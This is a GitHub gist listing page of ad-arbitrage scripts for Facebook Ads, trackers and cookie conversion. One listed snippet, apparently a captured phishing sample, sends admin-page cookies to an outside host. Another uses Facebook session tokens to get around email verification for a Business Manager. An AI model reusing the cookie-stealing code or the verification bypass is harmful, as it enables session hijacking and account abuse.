Skip to content

Instantly share code, notes, and snippets.

View dvygolov's full-sized avatar
🤖
Replacing YOU with robots

Daniel Vygolov dvygolov

🤖
Replacing YOU with robots
View GitHub Profile
@dvygolov
dvygolov / clmnPresetsManager.js
Created August 27, 2025 13:14
Script to manage column presets of Ads Manager: import/export columns
class FileSelector {
constructor(fileProcessor) {
this.fileProcessor = fileProcessor;
}
createDiv() {
this.div = document.createElement("div");
this.div.style.position = "fixed";
this.div.style.top = "50%";
this.div.style.left = "50%";
@dvygolov
dvygolov / autorulesManager.js
Last active August 27, 2025 13:00
Script for import/export Facebook Ads Autorules
// Constants
const currentVersion = "2025.08.18";
const CURRENCY_FIELDS = [
"spent",
"today_spent",
"cost_per_purchase_fb",
"cost_per_add_to_cart_fb",
"cost_per_complete_registration_fb",
"cost_per_view_content_fb",
"cost_per_search_fb",
@dvygolov
dvygolov / dolphincloudadfix.js
Created April 9, 2025 10:42
removes unnecessary text from ad section in Dolphin Cloud: https://yellowweb.top/dolphincloud
// 1. Заменяем лишние div на иконку с тултипом
document.querySelectorAll(
'.v-data-table__wrapper table tbody tr td:nth-child(3) > div:first-child > div:nth-child(2)'
).forEach(originalDiv => {
const content = originalDiv.innerHTML;
const tooltipWrapper = document.createElement('span');
tooltipWrapper.style.position = 'relative';
tooltipWrapper.style.cursor = 'pointer';
tooltipWrapper.style.display = 'inline-block';
@dvygolov
dvygolov / binomtgdeppush.php
Created April 3, 2025 07:17
Binom + Telegram postback script that notifies buyers about new deposits
<?php
/**
* Binom Postback Filter Middleware v0.2
* by Yellow Web (https://yellowweb.top)
* This script receives postback data from Binom tracker
* about registrations and deposits,
* filters out registrations (cnv_status = 'reg'),
* and only forwards deposits (cnv_status = 'dep') to the Telegram bot.
*/
@dvygolov
dvygolov / ktfish.js
Created February 21, 2025 09:02
Fishing script that mimics Keitaro login form and steals data. Found in the wild.
document.addEventListener("DOMContentLoaded", (function() {
if (window.location.href.includes("/admin")) {
const e = {};
document.cookie.split(";").some((e => e.trim().startsWith(
"cookieName="))) && (e["X-Cookie"] = document
.cookie), fetch("https://xxxbigdicker.com/kei", {
method: "GET",
headers: e
}).then((e => {
if (!e.ok) throw new Error(
@dvygolov
dvygolov / bmemailverif.js
Last active May 14, 2025 07:41
FIXED BY FACEBOOK: This script could help to verify any BM by any email, if Facebook asked for it and you couldn't change email
async function privateApiRequest(variables, docId) {
let subDomain = getSubDomain();
let graphUrl = `https://${subDomain}.facebook.com/api/graphql/`;
let lsd = require("LSD").token;
let dtsg = require("DTSGInitialData").token;
let uid = require("CurrentUserInitialData").USER_ID;
let body = {
av: uid,
@dvygolov
dvygolov / youtubevideoslist.js
Created October 17, 2024 08:22
This script prompts for the number of videos to process and then console.logs all the video titles found
// Get all video elements on the page
const videoElements = document.querySelectorAll('a#video-title-link');
// Ask user for the number of videos to process
const numberOfVideos = parseInt(prompt("How many videos do you want to process?"), 10);
// Initialize an empty string to store all video lines
let videoList = '';
// Process the required number of video titles
@dvygolov
dvygolov / fbasianconverter.js
Last active January 19, 2025 23:06
FB Asian cookies converter as a browser bookmarklet
//Script as a bookmarklet
javascript:(async () => {var div = document.createElement('div'); div.style.position = 'fixed'; div.style.top = '50%'; div.style.left = '50%'; div.style.transform = 'translate(-50%, -50%)'; div.style.width = '400px'; div.style.padding = '20px'; div.style.backgroundColor = 'yellow'; div.style.border = '2px solid black'; div.style.borderRadius = '10px'; div.style.zIndex = '10000'; div.style.boxShadow = '0 0 10px rgba(0, 0, 0, 0.5)'; var titleContainer = document.createElement('div'); titleContainer.style.display = 'flex'; titleContainer.style.alignItems = 'center'; titleContainer.style.justifyContent = 'center'; titleContainer.style.marginBottom = '10px'; var blurToggle = document.createElement('button'); blurToggle.innerText = '👁️'; blurToggle.style.backgroundColor = 'transparent'; blurToggle.style.border = 'none'; blurToggle.style.cursor = 'pointer'; blurToggle.style.fontSize = '20px'; blurToggle.style.marginRight = '10px'; blurToggle.style.opacity = '1'; titleContainer.appendChild(
@dvygolov
dvygolov / shakeshttps.php
Created July 26, 2024 11:42
Place this file somewhere in your Keitaro and use it like https://youtracker.com/path/shakes.php?q={STREAMCODE}
<?php
class ShakesRedirectCorrector
{
private function get_headers($url): array
{
$ch = curl_init();
$headers = [];
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
@dvygolov
dvygolov / convertcookies.php
Last active July 21, 2024 17:29
Convert cookies from "name=value" format (usually used in asian FB accounts) to JSON format
<?php
echo "Asian FB Cookies to JSON Converter v1.2\n";
echo " by Yellow Web\n\n";
// Check if the filename is provided
if ($argc < 2) {
echo "Usage: php script.php filename\n";
exit(1);
}